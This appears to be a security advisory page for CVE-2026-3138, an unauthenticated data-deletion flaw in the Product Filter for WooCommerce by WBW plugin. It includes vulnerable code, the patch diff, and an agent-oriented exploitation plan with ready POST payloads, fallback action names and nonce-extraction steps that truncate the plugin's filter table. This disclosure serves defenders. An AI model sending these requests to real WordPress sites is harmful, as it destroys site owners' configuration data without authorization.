CVE-2026-3138

Product Filter for WooCommerce by WBW <= 3.1.2 - Missing Authorization to Unauthenticated Filter Data Deletion via TRUNCATE TABLE

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.1.3
Patched in
1d
Time to patch

Description

The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=3.1.2
PublishedMarch 23, 2026
Last updatedMarch 24, 2026
Affected pluginwoo-product-filter

What Changed in the Fix

Changes introduced in v3.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3138 - Product Filter for WooCommerce by WBW ## 1. Vulnerability Summary The **Product Filter for WooCommerce by WBW** plugin (up to version 3.1.2) contains a missing authorization vulnerability that allows unauthenticated attackers to truncate the plugin's pr…

Show full research plan

Exploitation Research Plan: CVE-2026-3138 - Product Filter for WooCommerce by WBW

1. Vulnerability Summary

The Product Filter for WooCommerce by WBW plugin (up to version 3.1.2) contains a missing authorization vulnerability that allows unauthenticated attackers to truncate the plugin's primary filter configuration table.

The vulnerability stems from three architectural flaws in the plugin's MVC framework:

  1. Dynamic AJAX Registration: The plugin automatically registers wp_ajax_nopriv_ hooks for methods defined in its controllers.
  2. Unprotected Base Methods: The base ControllerWpf class defines a clear() method that lacks capability checks (current_user_can) and nonce verification (check_ajax_referer).
  3. Magic Method Forwarding: The base controller's __call() magic method forwards any call to an undefined method directly to the model layer. If the model has a delete() method that defaults to truncating the table (or if "clear" is called), it executes the destructive operation.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: delete or clear (prefixed by the plugin's AJAX routing logic).
  • Parameters:
    • action: The AJAX task (e.g., delete or clear).
    • mod: woofilters (The target module).
    • pl: wpf (The plugin code defined as WPF_CODE in config.php).
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. At least one filter should exist in the wp_wpf_filters table to demonstrate data loss.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php.
  2. Hook Execution: The plugin's framework has registered a wp_ajax_nopriv_ hook for the action.
  3. Routing: FrameWpf::parseRoute() (in classes/frame.php) extracts the pl (wpf), mod (woofilters), and action (task) parameters.
  4. Dispatching: The framework identifies the WoofiltersControllerWpf (which inherits from ControllerWpf).
  5. Vulnerable Method:
    • If action=clear: The clear() method in classes/controller.php (line 155) is called. It immediately calls $this->getModel()->clear() without any checks.
    • If action=delete: Since WoofiltersControllerWpf does not define delete(), the __call() magic method in classes/controller.php (line 104) is triggered. It forwards the call to $model->delete().
  6. Sink: The model's clear() or delete() method executes TRUNCATE TABLE {prefix}wpf_filters.

4. Nonce Acquisition Strategy

According to the vulnerability description and source code analysis, the clear() method in ControllerWpf specifically omits the check_ajax_referer call that is present in other methods like getListForTbl.

If the PoC agent finds that the plugin has been patched to require a nonce even for clear, it should follow this strategy:

  1. Identify Variable: The plugin localizes data in WoofiltersControllerWpf::drawFilterAjax or via scripts enqueued by the woofilters module.
  2. Variable Name: Look for wpfAdminL10n or similar objects in the browser context.
  3. Extraction:
    • Navigate to a page where a filter is displayed (requires a page with the [wpf-filters] shortcode).
    • browser_eval("window.wpfAdminL10n?.wpfNonce") or browser_eval("window.wpfFiltersData?.nonce").

Note: For this specific CVE, the "Missing Authorization" and the code for clear() suggest no nonce is verified for this specific path.

5. Exploitation Strategy

The goal is to trigger the clear or delete method in the woofilters module.

Request Details

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=clear&mod=woofilters&pl=wpf
    
    Alternative if action=clear fails based on the CVE description:
    action=delete&mod=woofilters&pl=wpf
    

6. Test Data Setup

Before executing the exploit:

  1. Create Filter Data: Ensure the plugin's table is populated.
    wp eval 'global $wpdb; $wpdb->insert($wpdb->prefix . "wpf_filters", ["title" => "Exploit Test Filter", "setting_data" => serialize(["test"=>1])]);'
    
  2. Verify Population:
    wp db query "SELECT COUNT(*) FROM wp_wpf_filters;"
    

7. Expected Results

  • HTTP Response: 200 OK.
  • Response Body: A JSON object containing {"success":true,"message":"Done"} (as seen in ControllerWpf::clear() line 158).
  • Database State: The wp_wpf_filters table is empty (0 rows).

8. Verification Steps

After sending the HTTP request, verify the destruction of data via WP-CLI:

# Check if the table is empty
wp db query "SELECT COUNT(*) FROM wp_wpf_filters;"

# Check if the specific test filter is gone
wp db query "SELECT * FROM wp_wpf_filters WHERE title='Exploit Test Filter';"

9. Alternative Approaches

If the simple action=clear does not work, it may be because the plugin uses a specific prefix for its AJAX actions.

  • Try action=wpf_woofilters_clear
  • Try action=wpf_clear
  • Try adding task=clear as a parameter: action=wpf_woofilters&task=clear&pl=wpf

The core issue is that the clear() function in classes/controller.php is fundamentally unprotected and exposed to any routing path that can reach it.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Product Filter for WooCommerce by WBW plugin allows unauthenticated attackers to permanently delete all filter configurations by truncating the plugin's database table. This occurs because the plugin's MVC framework dynamically registers unauthenticated AJAX handlers and provides a base controller with an unprotected 'clear' method and a magic method that forwards calls directly to destructive model operations without authorization checks.

Vulnerable Code

// classes/controller.php (Line 104)
	public function __call( $name, $arguments ) {
		$model = $this->getModel();
		if (method_exists($model, $name)) {
			return $model->$name($arguments[0]);
		} else {
			return false;
		}
	}

---

// classes/controller.php (Line 231)
	public function clear() {
		$res = new ResponseWpf();
		if ($this->getModel()->clear()) {
			$res->addMessage(esc_html__('Done', 'woo-product-filter'));
		} else {
			$res->pushError($this->getModel()->getErrors());
		}
		$res->ajaxExec();
	}

---

// classes/frame.php (Line 411)
	protected function _doExec() {
		$mod = $this->getModule($this->_mod);
		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
			switch (ReqWpf::getVar('reqType')) {
				case 'ajax':
					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
					break;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/controller.php /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/controller.php	2025-07-11 13:06:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/controller.php	2026-03-20 11:01:42.000000000 +0000
@@ -94,7 +104,21 @@
 			$view->display();
 		}
 	}
+
+	/**
+	 * Magic method: __call
+	 *
+	 * @version 3.1.3
+	 *
+	 * @param $name
+	 * @param $arguments
+	 */
 	public function __call( $name, $arguments ) {
+		$blockedMethods = array( 'delete', 'clear', 'removeGroup' );
+		if ( in_array( $name, $blockedMethods, true ) ) {
+			return false;
+		}
+
 		$model = $this->getModel();
 		if (method_exists($model, $name)) {
 			return $model->$name($arguments[0]);
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/frame.php /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/frame.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.2/classes/frame.php	2025-11-28 17:20:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-product-filter/3.1.3/classes/frame.php	2026-03-20 11:01:42.000000000 +0000
@@ -406,14 +408,19 @@
 
 	/**
 	 * _doExec.
+	 *
+	 * @version 3.1.3
 	 */
 	protected function _doExec() {
 		$mod = $this->getModule($this->_mod);
 		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
 			switch (ReqWpf::getVar('reqType')) {
 				case 'ajax':
-					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
-					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));
+					$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );
+					if ( in_array( $this->_action, $noprivActions ) ) {
+						add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					}
 					break;
 				default:
 					$this->_res = $mod->exec($this->_action);

Exploit Outline

The exploit target is the WordPress AJAX endpoint at /wp-admin/admin-ajax.php. An unauthenticated attacker sends a POST request with the 'action' parameter set to 'clear' or 'delete', the 'mod' (module) parameter set to 'woofilters', and the 'pl' (plugin) parameter set to 'wpf'. Due to the plugin's FrameWpf::parseRoute() and _doExec() functions, it registers a 'wp_ajax_nopriv_clear' (or delete) hook that maps to the controller's clear() method. Because the base ControllerWpf::clear() method lacks both capability checks and nonce verification, it calls the model's clear() method, which executes a TRUNCATE TABLE command on the wp_wpf_filters table, deleting all stored configuration data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.